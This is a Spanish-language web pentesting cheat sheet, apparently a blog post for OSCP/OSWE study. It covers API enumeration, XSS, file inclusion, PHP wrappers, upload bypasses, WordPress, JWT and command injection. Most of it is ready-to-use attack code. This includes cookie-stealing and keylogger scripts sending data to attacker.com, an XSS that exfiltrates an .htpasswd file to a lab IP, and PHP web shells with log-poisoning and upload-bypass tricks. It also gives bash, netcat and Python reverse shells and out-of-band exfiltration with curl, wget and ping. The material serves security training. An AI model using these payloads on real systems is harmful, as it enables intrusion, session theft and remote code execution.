Entrada

Web Application Pentesting - Guía Completa

Web Application Pentesting - Guía Completa

Web Application Pentesting - Guía Completa

🔌 APIs y Swagger

¿Qué es una API?

Application Programming Interface (API) permite que aplicaciones se comuniquen entre sí. Las APIs REST son las más comunes en aplicaciones web modernas.

Swagger / OpenAPI

Swagger es una especificación para documentar APIs REST. Muchas aplicaciones exponen su documentación Swagger públicamente.

Acceder a Swagger UI

1
2
3
4
5
6
7
8
9
10
11
12
# URLs comunes de Swagger
http://api.target.com/swagger/
http://api.target.com/swagger-ui.html
http://api.target.com/api-docs
http://api.target.com/docs
http://api.target.com/api/swagger.json
http://api.target.com/v2/api-docs

# Alternativas
http://target.com/swagger/
http://target.com/api/
http://target.com/docs/

💡 Tip: Si encuentras una API, SIEMPRE intenta acceder a /swagger/. Puede revelar todos los endpoints, parámetros y métodos HTTP.

Enumeración de APIs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Con ffuf
ffuf -u http://api.target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt

# Con gobuster
gobuster dir -u http://api.target.com -w /usr/share/seclists/Discovery/Web-Content/api/api-seen-in-wild.txt

# Endpoints comunes
/api/v1/users
/api/v2/users
/api/users
/api/login
/api/register
/api/admin
/api/config
/api/swagger.json

Testing de APIs

Autenticación

1
2
3
4
5
6
7
8
# JWT Token en header
curl -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." http://api.target.com/users

# API Key
curl -H "X-API-Key: abc123def456" http://api.target.com/data

# Basic Auth
curl -u username:password http://api.target.com/secure

IDOR (Insecure Direct Object Reference)

1
2
3
4
5
6
7
# Probar cambiar IDs
GET /api/users/1234
GET /api/users/1235
GET /api/users/1236

# UUIDs también pueden ser predecibles
GET /api/users/a1b2c3d4-e5f6-g7h8-i9j0-k1l2m3n4o5p6

Mass Assignment

1
2
3
4
5
6
7
8
// Enviar parámetros no esperados
POST /api/users/update
{
    "username": "attacker",
    "email": "attacker@evil.com",
    "role": "admin",  // Parámetro adicional
    "is_admin": true  // Otro intento
}

🎯 MITRE ATT&CK: T1190 - Exploit Public-Facing Application


💉 XSS - Cross-Site Scripting

¿Qué es XSS?

Cross-Site Scripting (XSS) permite a un atacante inyectar scripts maliciosos (generalmente JavaScript) en páginas web vistas por otros usuarios.

Tipos de XSS

TipoDescripciónPersistencia
ReflectedPayload en URL/formulario, no se almacenaNo persiste
StoredPayload se guarda en DB, afecta a todosPersiste
DOM-BasedVulnerabilidad en JavaScript del clienteDepende

Payloads Básicos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!-- Alert básico -->
<script>alert('XSS')</script>
<script>alert(document.cookie)</script>

<!-- Event handlers -->
<img src=x onerror=alert('XSS')>
<body onload=alert('XSS')>
<svg onload=alert('XSS')>
<iframe src="javascript:alert('XSS')">

<!-- Sin <script> tags -->
<img src=x onerror="javascript:alert('XSS')">
<input onfocus=alert('XSS') autofocus>

<!-- Bypass de filtros -->
<SCRiPT>alert('XSS')</SCRipT>
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=x onerror=eval(atob('YWxlcnQoJ1hTUycp'))>

XSS Avanzado

Robo de Cookies

1
2
3
4
5
6
7
8
<script>
document.location='http://attacker.com/steal.php?c='+document.cookie;
</script>

// O con fetch
<script>
fetch('http://attacker.com/steal.php?c='+document.cookie);
</script>

Keylogger

1
2
3
4
5
<script>
document.onkeypress = function(e) {
    fetch('http://attacker.com/log.php?key=' + e.key);
}
</script>

BeEF Hook

1
<script src="http://attacker.com:3000/hook.js"></script>

XSS en Archivos Subidos

Markdown con XSS

Crear archivo .md:

1
2
3
4
5
# Title

<script>alert('XSS')</script>

![image](x onerror=alert('XSS'))

SVG con XSS

Crear archivo .svg:

1
2
3
4
5
6
7
8
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert('XSS');
   </script>
</svg>

Ejemplo Avanzado: Fetch File Content

Este XSS lee archivos mediante LFI y los envía al atacante:

1
2
3
4
5
6
7
<script>
fetch("http://alert.htb/messages.php?file=../../../../../../../var/www/statistics.alert.htb/.htpasswd")
  .then(response => response.text())
  .then(data => {
    fetch("http://10.10.16.11:8888/?file_content=" + encodeURIComponent(data));
  });
</script>

Recursos: XSS CheatSheet - PortSwigger

🎯 MITRE ATT&CK: T1059.007 - Command and Scripting Interpreter: JavaScript


📁 LFI/RFI - Local/Remote File Inclusion

Local File Inclusion (LFI)

LFI permite leer archivos del sistema mediante path traversal.

Payloads Básicos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Path traversal básico
../../../../../../../etc/passwd
..\..\..\..\..\..\windows\system32\drivers\etc\hosts

# Null byte bypass (PHP < 5.3)
../../../../../../../etc/passwd%00

# URL encoding
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd  # Double encoding

# Bypassing filters
....//....//....//etc/passwd
..../...../etc/passwd

Archivos Interesantes Linux

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# Sistema
/etc/passwd
/etc/shadow (si tenemos permisos)
/etc/hosts
/etc/hostname
/etc/issue
/etc/os-release

# Configuraciones
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
/etc/php/*/apache2/php.ini
/etc/mysql/my.cnf

# Logs
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/auth.log
/var/log/syslog

# Aplicaciones
/var/www/html/config.php
/var/www/html/index.php
/opt/lampp/etc/httpd.conf

# Información del sistema
/proc/self/environ
/proc/self/cmdline
/proc/version
/proc/net/tcp
/proc/self/fd/0-10

# SSH
/home/user/.ssh/id_rsa
/home/user/.ssh/authorized_keys
/root/.ssh/id_rsa

Archivos Interesantes Windows

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Sistema
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM

# IIS
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\W3SVC1\

# Apache
C:\xampp\apache\conf\httpd.conf
C:\xampp\htdocs\config.php

# MySQL
C:\xampp\mysql\data\

# Usuarios
C:\Users\Administrator\Desktop\
C:\Users\usuario\Documents\

Remote File Inclusion (RFI)

RFI permite ejecutar archivos alojados en un servidor externo.

1
2
3
4
5
# Payload básico
http://target.com/page.php?file=http://attacker.com/shell.txt

# Shell remota
http://target.com/page.php?file=http://attacker.com/shell.php

Shell simple para RFI (shell.txt):

1
<?php system($_GET['cmd']); ?>

Invocar:

1
http://target.com/page.php?file=http://attacker.com/shell.txt&cmd=whoami

🐘 PHP Wrappers

¿Qué son los PHP Wrappers?

PHP tiene wrappers integrados que permiten acceder a varios flujos de datos. Pueden ser explotados en LFI.

php://filter

Permite leer código fuente de archivos PHP.

1
2
3
4
5
6
7
8
# Leer archivo PHP en base64
php://filter/convert.base64-encode/resource=index.php

# Ejemplo completo
http://target.com/page.php?file=php://filter/convert.base64-encode/resource=config.php

# Decodificar el output
echo "PD9waHAK..." | base64 -d

💡 Uso: Ver código fuente de archivos PHP sin ejecutarlos.

php://input

Permite enviar datos POST que se interpretan como archivo.

1
2
3
4
5
6
7
8
9
# Payload
POST /page.php?file=php://input HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

<?php system($_GET['cmd']); ?>

# Luego invocar con GET
http://target.com/page.php?file=php://input&cmd=whoami

data://

Permite incluir datos inline.

1
2
3
4
5
6
7
8
9
10
11
# Ejecutar código PHP inline
data://text/plain,<?php system($_GET['cmd']); ?>

# Ejemplo completo
http://target.com/page.php?file=data://text/plain,<?php system($_GET['cmd']); ?>&cmd=whoami

# Con base64
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+

# Ejemplo
http://target.com/page.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+&cmd=id

expect://

Ejecuta comandos directamente (requiere extensión expect).

1
2
expect://whoami
expect://id

zip:// y phar://

Permite ejecutar código desde archivos comprimidos.

Crear payload:

1
2
3
4
5
6
7
8
9
10
11
# Crear shell.php
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# Comprimir
zip shell.zip shell.php

# Subir shell.zip y explotar
http://target.com/page.php?file=zip://path/to/shell.zip%23shell.php&cmd=whoami

# Con phar
http://target.com/page.php?file=phar://path/to/shell.zip/shell.php&cmd=id

Log Poisoning

Inyectar código PHP en logs y luego incluirlos con LFI.

User-Agent Poisoning:

1
2
3
4
5
# Enviar request con User-Agent malicioso
curl -A "<?php system($_GET['cmd']); ?>" http://target.com/

# Incluir log file
http://target.com/page.php?file=/var/log/apache2/access.log&cmd=whoami

SSH Log Poisoning:

1
2
3
4
5
# Intentar login SSH con payload como username
ssh '<?php system($_GET["cmd"]); ?>'@target.com

# Incluir log
http://target.com/page.php?file=/var/log/auth.log&cmd=id

Recursos: PHP Wrappers - HackTricks

🎯 MITRE ATT&CK: T1505.003 - Server Software Component: Web Shell


⬆️ File Upload Vulnerabilities

Tipos de Bypass

Extension Bypass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# Extensiones alternativas
file.php
file.php3
file.php4
file.php5
file.phtml
file.phar
file.phps

# Case manipulation
file.PHp
file.PhP
file.pHp

# Double extension
file.php.jpg
file.jpg.php

# Null byte (PHP < 5.3)
file.php%00.jpg
file.php\x00.jpg

# Añadir espacios
file.php[espacio]

Content-Type Bypass

1
2
3
4
5
6
7
8
9
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg  <-- Falsificar

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--

Magic Bytes (File Signature)

Agregar bytes mágicos al inicio del archivo:

1
2
3
4
5
6
7
8
# GIF
GIF89a<?php system($_GET['cmd']); ?>

# PNG
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']); ?>

# JPEG
\xFF\xD8\xFF\xE0<?php system($_GET['cmd']); ?>

Crear archivo manualmente:

1
2
echo -e "\x89PNG\r\n\x1a\n" > shell.php
echo '<?php system($_GET["cmd"]); ?>' >> shell.php

.htaccess Upload

Si podemos subir .htaccess, podemos redefinir qué extensiones se ejecutan como PHP:

1
2
# .htaccess
AddType application/x-httpd-php .jpg

Luego subir shell.jpg:

1
<?php system($_GET['cmd']); ?>

Acceder:

1
http://target.com/uploads/shell.jpg?cmd=whoami

Polyglot Files

Archivos que son válidos en múltiples formatos.

PHP + JPEG:

1
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg -o shell.php.jpg

📰 WordPress Pentesting

Enumeración Básica

1
2
3
4
5
6
7
8
9
10
11
# Con WPScan (incluir API token)
wpscan --url http://target.com/wordpress/ --enumerate ap,u,t --api-token=$WPSCAN

# Detección agresiva de plugins
wpscan --url http://target.com/wordpress/ -e p --plugins-detection aggressive

# Con Nmap
nmap -p80 target.com --script http-wordpress-enum --script-args http-wordpress-enum.root='/wordpress',search-limit=1000

# Con Wfuzz
wfuzz -c -t 200 --hc 404 -w /usr/share/seclists/Discovery/Web-Content/CMS/wp-plugins.fuzz.txt 'http://target.com/wordpress/FUZZ'

Enumeración de Usuarios

1
2
3
4
5
6
# API REST (WordPress >= 4.7)
curl http://target.com/wordpress/wp-json/wp/v2/users

# Autor de posts
http://target.com/wordpress/?author=1
http://target.com/wordpress/?author=2

Brute Force

1
2
3
4
5
# Con WPScan
wpscan --url http://target.com/wordpress/ --usernames admin --passwords $ROCKYOU

# Forma corta
wpscan --url http://target.com/wordpress/ -U admin -P /usr/share/wordlists/rockyou.txt

Plugins Vulnerables Comunes

1
2
3
4
5
6
7
8
# Buscar en Exploit-DB
searchsploit wordpress plugin

# Ejemplos de plugins vulnerables históricamente
- WP File Manager (RCE)
- Site Editor (LFI)
- Mail Masta (LFI)
- Ninja Forms (File Upload)

Reverse Shell en WordPress

Si tenemos acceso admin, editar 404.php del tema activo:

  1. Ir a AppearanceTheme Editor
  2. Seleccionar 404 Template (404.php)
  3. Reemplazar con reverse shell PHP
  4. Acceder a página que no existe para trigger 404
1
http://target.com/wordpress/wp-content/themes/twentytwenty/404.php

🍪 Cookies y Sesiones

Manipulación de Cookies

1
2
3
4
5
6
7
8
# Ver cookies en navegador
# DevTools (F12) → Application → Cookies

# Establecer cookie manualmente con JavaScript
document.cookie = "session_id=abc123; token=xyz789";

# Ejemplo de explotación
document.cookie = "admin=true; role=administrator";

Session Hijacking

Si capturamos un PHPSESSID válido:

1
2
3
4
5
# Con curl
curl -b "PHPSESSID=abc123def456" http://target.com/admin

# Con navegador (DevTools)
document.cookie = "PHPSESSID=abc123def456";

JWT (JSON Web Tokens)

Estructura

1
2
3
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

[Header].[Payload].[Signature]

Decode JWT

1
2
3
4
# Base64 decode
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d

# O usar jwt.io

JWT Attacks

1
2
3
4
5
6
# Algorithm confusion (cambiar RS256 a HS256)
# None algorithm
# Weak secret (brute force)

# Herramienta: jwt_tool
python3 jwt_tool.py <JWT_TOKEN>

💻 Command Injection

¿Qué es Command Injection?

Permite ejecutar comandos del sistema operativo a través de una aplicación vulnerable.

Operadores de Encadenamiento

OperadorDescripciónEjemplo
;Ejecuta siguiente comando (siempre)cmd1 ; cmd2
&&Ejecuta siguiente si anterior OKcmd1 && cmd2
\|\|Ejecuta siguiente si anterior fallacmd1 \|\| cmd2
\|Pipe (salida cmd1 → entrada cmd2)cmd1 \| cmd2
`cmd`Command substitutionecho \whoami``
$(cmd)Command substitutionecho $(whoami)

Payloads

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Básico
; whoami
&& whoami
| whoami
|| whoami
` whoami `
$(whoami)

# Bypass de espacios
${IFS}
{whoami}
cat</etc/passwd
cat$IFS/etc/passwd

# Bypass de slashes
${HOME:0:1}  # = /
${PATH:0:1}  # = /

# Ejemplo
; cat+${HOME}etc${HOME}passwd

Reverse Shell via Command Injection

1
2
3
4
5
6
7
8
# Con bash
; bash -c 'bash -i >& /dev/tcp/10.10.14.87/443 0>&1'

# Con nc
; nc 10.10.14.87 443 -e /bin/bash

# Con Python
; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.87",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

Out-of-Band Exfiltration

Si no vemos output, usar técnicas out-of-band:

1
2
3
4
5
6
7
8
9
10
11
# Con curl
; curl http://attacker.com/`whoami`

# Con wget
; wget http://attacker.com/$(whoami)

# Con ping (ICMP)
; ping -c 1 `whoami`.attacker.com

# Listener en attacker
tcpdump -i tun0 icmp

🎓 Tips para OSCP/OSWE

Checklist Web Application

  • Enumerar directorios y archivos
  • Identificar tecnologías (Wappalyzer, whatweb)
  • Probar autenticación (default creds, SQLi, bruteforce)
  • Buscar LFI/RFI en parámetros
  • Probar XSS en inputs
  • Buscar file upload
  • Enumerar APIs (/swagger, /api-docs)
  • Revisar cookies y JWT
  • Probar command injection
  • WordPress: WPScan enumeration

Herramientas Esenciales

1
2
3
4
5
6
7
8
9
10
11
# Fuzzing
gobuster, ffuf, wfuzz, feroxbuster

# Proxies
Burp Suite, OWASP ZAP

# CMS
WPScan, droopescan, joomscan

# Inyecciones
sqlmap, commix, xsser

📚 Referencias

Recursos de Aprendizaje

Payloads

Herramientas


Última actualización: 2025-01-10 Autor: alorente Licencia: Creative Commons BY-NC-SA 4.0

Esta entrada está licenciada bajo CC BY 4.0 por el autor.